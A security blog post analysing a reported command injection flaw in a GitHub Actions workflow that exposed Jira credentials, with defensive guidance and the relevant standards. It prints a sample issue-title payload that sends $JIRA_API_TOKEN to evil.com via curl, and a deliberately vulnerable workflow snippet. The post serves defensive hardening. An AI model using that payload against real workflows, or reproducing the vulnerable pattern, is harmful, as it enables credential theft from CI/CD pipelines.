Skip to main content
Snowflake's GitHub Actions Breach: When CI/CD Automation Exposes CredentialsIncident
4 min readFor Security Engineers

Snowflake's GitHub Actions Breach: When CI/CD Automation Exposes Credentials

What Happened

On June 23, 2026, Wiz disclosed a command injection vulnerability in Snowflake's public GitHub repository. This flaw allowed attackers to execute arbitrary commands through crafted GitHub issues. The vulnerability was in a GitHub Actions workflow that automatically created Jira tickets from GitHub issues. Attackers could inject commands into the issue title or body, which the workflow executed without validation. This exposed three Jira credentials: JIRA_BASE_URL, JIRA_USER_EMAIL, and JIRA_API_TOKEN. Snowflake fixed the issue the same day it was reported.

Timeline

June 23, 2026, morning: Wiz reported the vulnerability to Snowflake through responsible disclosure.

June 23, 2026, same day: Snowflake patched the vulnerable workflow and rotated the exposed credentials.

The quick response shows effective vulnerability management, but the flaw had been present in a public repository for an unknown duration before discovery.

Which Controls Failed or Were Missing

The root cause was untrusted input flowing directly into a shell command. The GitHub Actions workflow took user-controlled data from issue titles and bodies and passed it to a script that created Jira tickets. There was no input validation, sanitization, or escaping.

Here's what broke down:

Input validation: The workflow trusted everything a GitHub user submitted. If you can open an issue, you can inject commands.

Least privilege for secrets: The Jira API token had broad permissions, making its exposure significant. The workflow shouldn't have needed full API access to create tickets.

Code review for automation scripts: Someone wrote this workflow, possibly with assistance from GitHub Copilot or similar AI coding tools. No human reviewer caught the injection risk before the code went live.

Secret scanning: The exposed credentials sat in workflow logs or outputs where secret scanning tools should have flagged them.

What the Relevant Standards Require

OWASP Top 10 2021 lists injection as A03:2021. The standard requires you to validate all user input and use safe APIs that avoid interpreters entirely. For CI/CD workflows, treat issue content, pull request titles, and branch names as hostile input.

PCI DSS v4.0.1 Requirement 6.2.4 mandates that software engineering techniques prevent or mitigate common software attacks, including injection flaws. If your CI/CD pipeline touches cardholder data environments or credentials that access them, this requirement applies.

OWASP ASVS v4.0.3 Section 5.2 covers sanitization and sandboxing. Requirement 5.2.1 states: "Verify that all untrusted HTML input from WYSIWYG editors or similar is properly sanitized with an HTML sanitizer library or framework feature." While this example involves shell commands rather than HTML, the principle holds: sanitize untrusted input before it reaches an interpreter.

NIST 800-53 Rev 5 SI-10 requires information input validation. Control SI-10(5) specifically addresses restricting the use of special characters in input. A GitHub issue title containing ; curl attacker.com should never make it to a shell interpreter.

SOC 2 Type II CC6.1 requires logical and physical access controls, including credential management. Exposing Jira API tokens violates this control because the credentials weren't adequately protected during automated processing.

Lessons and Action Items for Your Team

Audit your GitHub Actions workflows this week. Search your .github/workflows directory for any workflow that references github.event.issue, github.event.pull_request, or github.event.comment. These trigger on user-controlled content. Check if that content flows into run: blocks or gets passed to scripts without validation.

Never interpolate user input directly into shell commands. Use GitHub Actions expressions carefully. This pattern is dangerous:

run: |
  echo "${{ github.event.issue.title }}" | ./create-ticket.sh

An attacker submits an issue titled test"; curl evil.com/exfil?data=$(cat $JIRA_API_TOKEN); echo " and your workflow executes their command.

Prefer GitHub's built-in actions over custom scripts. The actions/github-script action runs JavaScript in a controlled context. Third-party actions from verified publishers often handle input validation for you. When you must write custom scripts, use parameterized commands or dedicated libraries that escape shell metacharacters.

Scope your secrets narrowly. The exposed Jira token shouldn't have had permissions beyond creating tickets in a specific project. Review every secret in your GitHub repository settings. If a token can delete resources, modify configurations, or access sensitive data, it's over-privileged for most automation tasks.

Enable GitHub's secret scanning and push protection. These features catch credentials before they reach your repository or workflow logs. Configure custom patterns for your organization's internal tokens and API keys.

Review AI-generated code for security flaws. GitHub Copilot and similar tools excel at writing functional code quickly, but they learn from public repositories where injection vulnerabilities are common. When Copilot suggests a workflow that processes user input, assume it's vulnerable until you verify otherwise. Add a checklist item to your pull request template: "If this PR modifies GitHub Actions workflows, has it been reviewed for injection risks?"

Test your workflows with malicious input. Before merging workflow changes, open a test issue with a title like test"; echo "INJECTION_SUCCESSFUL"; echo ". If your logs show "INJECTION_SUCCESSFUL", you've got work to do.

Rotate credentials immediately after fixing injection flaws. Snowflake did this right. The moment you patch a vulnerability that exposed secrets, assume those secrets are compromised. Rotation should take minutes, not days.

Document your workflow security requirements. Add a section to your engineering wiki: "All GitHub Actions workflows must validate external input before passing it to shell commands, scripts, or APIs. Use allowlists for expected formats. Reject anything that doesn't match."

The Snowflake incident wasn't sophisticated. It was a basic injection flaw in automation code that nobody reviewed carefully enough. Your team probably has similar workflows. Find them before someone else does.

Topics:Incident

You Might Also Like